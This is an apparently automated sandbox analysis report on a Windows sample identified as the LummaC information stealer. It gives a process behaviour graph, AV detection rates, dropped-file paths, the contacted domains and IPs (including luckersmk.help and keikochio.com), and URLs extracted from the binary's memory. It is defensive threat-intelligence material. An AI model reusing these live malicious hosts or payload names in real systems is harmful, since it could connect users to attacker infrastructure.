    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet
    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1577286 Sample: NativeApp_G5L1NHZZ.exe Startdate: 18/12/2024 Architecture: WINDOWS Score: 100 84 luckersmk.help 2->84 86 www.google.com 2->86 88 2 other IPs or domains 2->88 96 Suricata IDS alerts for network traffic 2->96 98 Multi AV Scanner detection for submitted file 2->98 100 Yara detected LummaC Stealer 2->100 102 3 other signatures 2->102 12 NativeApp_G5L1NHZZ.exe 179 2->12         started        signatures3 process4 file5 72 C:\Users\user\AppData\Local\...\vulkan-1.dll, PE32+ 12->72 dropped 74 C:\Users\user\AppData\...\vk_swiftshader.dll, PE32+ 12->74 dropped 76 C:\Users\user\AppData\Local\...\libGLESv2.dll, PE32+ 12->76 dropped 78 14 other files (4 malicious) 12->78 dropped 112 Drops large PE files 12->112 16 ProtonEditor.exe 8 12->16         started        signatures6 process7 dnsIp8 80 www.google.com 142.250.181.132, 443, 49741 GOOGLEUS United States 16->80 82 84.200.24.191, 49807, 80 ACCELERATED-ITDE Germany 16->82 66 C:\Users\user\AppData\...\CnnCylinder.exe, PE32 16->66 dropped 68 C:\Users\user\AppData\Local\...\specreal.ps1, ASCII 16->68 dropped 20 cmd.exe 16->20         started        22 cmd.exe 1 16->22         started        25 powershell.exe 16->25         started        27 24 other processes 16->27 file9 process10 dnsIp11 30 CnnCylinder.exe 20->30         started        33 conhost.exe 20->33         started        106 Bypasses PowerShell execution policy 22->106 35 conhost.exe 22->35         started        37 chcp.com 1 22->37         started        108 Loading BitLocker PowerShell Module 25->108 39 conhost.exe 25->39         started        92 chrome.cloudflare-dns.com 172.64.41.3, 443, 49768, 49769 CLOUDFLARENETUS United States 27->92 41 powershell.exe 27->41         started        44 conhost.exe 27->44         started        46 conhost.exe 27->46         started        48 20 other processes 27->48 signatures12 process13 dnsIp14 114 Multi AV Scanner detection for dropped file 30->114 50 cmd.exe 30->50         started        90 keikochio.com 185.117.73.246, 49969, 80 HSAE Netherlands 41->90 signatures15 process16 file17 70 C:\Users\user\AppData\Local\...\Style.com, PE32 50->70 dropped 104 Drops PE files with a suspicious file extension 50->104 54 Style.com 50->54         started        57 conhost.exe 50->57         started        59 tasklist.exe 50->59         started        61 7 other processes 50->61 signatures18 process19 signatures20 110 Injects a PE file into a foreign processes 54->110 63 Style.com 54->63         started        process21 dnsIp22 94 luckersmk.help 172.67.146.77, 443, 49989, 49990 CLOUDFLARENETUS United States 63->94

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    NativeApp_G5L1NHZZ.exe0%ReversingLabs
    NativeApp_G5L1NHZZ.exe21%VirustotalBrowse

    Dropped Files

    SourceDetectionScannerLabelLink
    C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\d3dcompiler_47.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ffmpeg.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\libEGL.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\libGLESv2.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\vk_swiftshader.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\vulkan-1.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\69564\Style.com3%ReversingLabs
    C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe71%ReversingLabsWin32.Spyware.Lummastealer
    C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\ProtonEditor.exe0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\d3dcompiler_47.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\ffmpeg.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\libEGL.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\libGLESv2.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\resources\elevate.exe0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\vk_swiftshader.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\vulkan-1.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\nsaE915.tmp\System.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\nsaE915.tmp\nsis7z.dll0%ReversingLabs

    Unpacked PE Files

    ⊘No Antivirus matches

    Domains

    ⊘No Antivirus matches

    URLs

    ⊘No Antivirus matches

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    keikochio.com
    		185.117.73.246
    		truefalse
      		unknown
      chrome.cloudflare-dns.com
      		172.64.41.3
      		truefalse
        		high
        luckersmk.help
        		172.67.146.77
        		truetrue
          		unknown
          www.google.com
          		142.250.181.132
          		truefalse
            		high
            qWKLItDJUHsKubZPWAcTdT.qWKLItDJUHsKubZPWAcTdT
            		unknown
            		unknownfalse
              		unknown

              URLs from Memory and Binaries

              NameSourceMaliciousAntivirus DetectionReputation
              https://mx.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                		high
                https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                  		high
                  https://fr.search.yahoo.com/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                    		high
                    https://search.seznam.sk/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                      		high
                      https://doh.familyshield.opendns.com/dns-queryProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpfalse
                        		high
                        https://crbug.com/newProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpfalse
                          		high
                          https://hk.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                            		high
                            https://yastatic.net/lego/_/rBTjd6UOPk5913OSn5ZQVYMTQWQ.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                              		high
                              http://i.wp.pl/a/i/stg/500/favicon.icohttp://szukaj.wp.pl/szukaj.html?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                		high
                                https://dns11.quad9.net/dns-queryProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpfalse
                                  		high
                                  https://suggestplugin.gmx.co.uk/s?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                    		high
                                    https://ca.search.yahoo.com/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                      		high
                                      https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpfalse
                                        		high
                                        http://www.search.delta-search.com/?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                          		high
                                          http://www.walla.co.il/favicon.icohttp://search.walla.co.il/?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                            		high
                                            https://www.givero.com/suggest?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                              		high
                                              http://www.neti.ee/favicon.icohttp://www.neti.ee/cgi-bin/otsing?query=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                		high
                                                https://yandex.com.tr/gorsel/search?rpt=imageviewhttps://www.yandex.com.tr/chrome/newtabProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                  		high
                                                  https://www.so.com/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                    		high
                                                    https://dk.search.yahoo.com/favicon.icohttps://dk.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                      		high
                                                      https://at.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                        		high
                                                        http://www.search.delta-search.com/home?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                          		high
                                                          http://l.twimg.com/i/hpkp_reportProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpfalse
                                                            		high
                                                            https://nextdns.io/privacyProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpfalse
                                                              		high
                                                              https://malaysia.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                		high
                                                                http://static.mediacentrum.sk/katalog/atlas.sk/images/favicon.icohttps://hladaj.atlas.sk/fulltext/?pProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                  		high
                                                                  http://www.conduit.com/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                    		high
                                                                    https://vn.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                      		high
                                                                      https://developers.google.com/speed/public-dns/privacyGoogleProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                        		high
                                                                        https://www.ask.com/web?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                          		high
                                                                          https://doh.opendns.com/dns-queryProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                            		high
                                                                            https://ph.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                              		high
                                                                              https://www.ecosia.org/newtab/ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                		high
                                                                                http://www.conduit.com/favicon.icohttp://www.conduit.com/search?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                  		high
                                                                                  https://yastatic.net/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                    		high
                                                                                    https://tw.search.yahoo.com/favicon.icohttps://tw.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                      		high
                                                                                      http://www1.delta-search.com/?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                        		high
                                                                                        https://buscador.terra.com.ar/Default.aspx?source=Search&ca=s&query=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                          		high
                                                                                          http://www.delfi.lt/paieska/?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                            		high
                                                                                            https://www.delfi.lt/favicon.icohttps://www.delfi.lt/paieska/?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                              		high
                                                                                              http://search.imesh.net/music?hl=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                		high
                                                                                                https://qc.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                  		high
                                                                                                  https://sug.so.360.cn/suggest?encodein=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                    		high
                                                                                                    https://cl.search.yahoo.com/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                      		high
                                                                                                      https://yandex.kz/images/search/?rpt=imageviewProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                        		high
                                                                                                        https://coccoc.com/search#query=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                          		high
                                                                                                          https://www.yandex.by/chrome/newtabProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                            		high
                                                                                                            https://ph.search.yahoo.com/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                              		high
                                                                                                              http://www.walla.co.il/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                		high
                                                                                                                https://go.mail.ru/chrome/newtab/ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://id.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://uk.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                      		high
                                                                                                                      http://www.neti.ee/cgi-bin/otsing?query=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                        		high
                                                                                                                        https://petalsearch.com/search?query=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                          		high
                                                                                                                          https://bugs.chromium.org/p/dawn/issues/detail?id=434timestamp-querySupportProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                            		high
                                                                                                                            http://ok.hu/gfx/favicon.icohttp://ok.hu/katalogus?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                              		high
                                                                                                                              https://bugs.chromium.org/p/dawn/issues/detail?id=690ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                		high
                                                                                                                                http://mysearch.sweetpacks.com/?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  https://qc.search.yahoo.com/favicon.icohttps://qc.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    https://dns.google/dns-queryProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      https://ph.search.yahoo.com/favicon.icohttps://ph.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        https://oceanhero.today/web?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://crbug.com/newCheckIfAudioThreadIsAliveMedia.AudioThreadStatusCreatingProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            https://ch.search.yahoo.com/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                              		high
                                                                                                                                              https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/CloudflareProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                		high
                                                                                                                                                http://search.conduit.com/Results.aspx?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                  		high
                                                                                                                                                  http://imgs.sapo.pt/images/sapo.icohttp://pesquisa.sapo.pt/?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    https://nl.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                      		high
                                                                                                                                                      https://in.search.yahoo.com/favicon.icohttps://in.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                        		high
                                                                                                                                                        https://search.goo.ne.jp/cdn/common/img/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                          		high
                                                                                                                                                          http://ak.apnstatic.com/media/images/favicon_search-results.icohttp://dts.search-results.com/sr?lng=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                            		high
                                                                                                                                                            https://www.sogou.com/images/logo/old/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                              		high
                                                                                                                                                              https://in.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                		high
                                                                                                                                                                http://search.imesh.net/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                  		high
                                                                                                                                                                  https://www.softonic.com/s/ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                    		high
                                                                                                                                                                    https://pe.search.yahoo.com/favicon.icohttps://pe.search.yahoo.com/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                      		high
                                                                                                                                                                      http://arianna.libero.it/search/abin/integrata.cgi?query=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                        		high
                                                                                                                                                                        https://odvr.nic.cz/dohProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                          		high
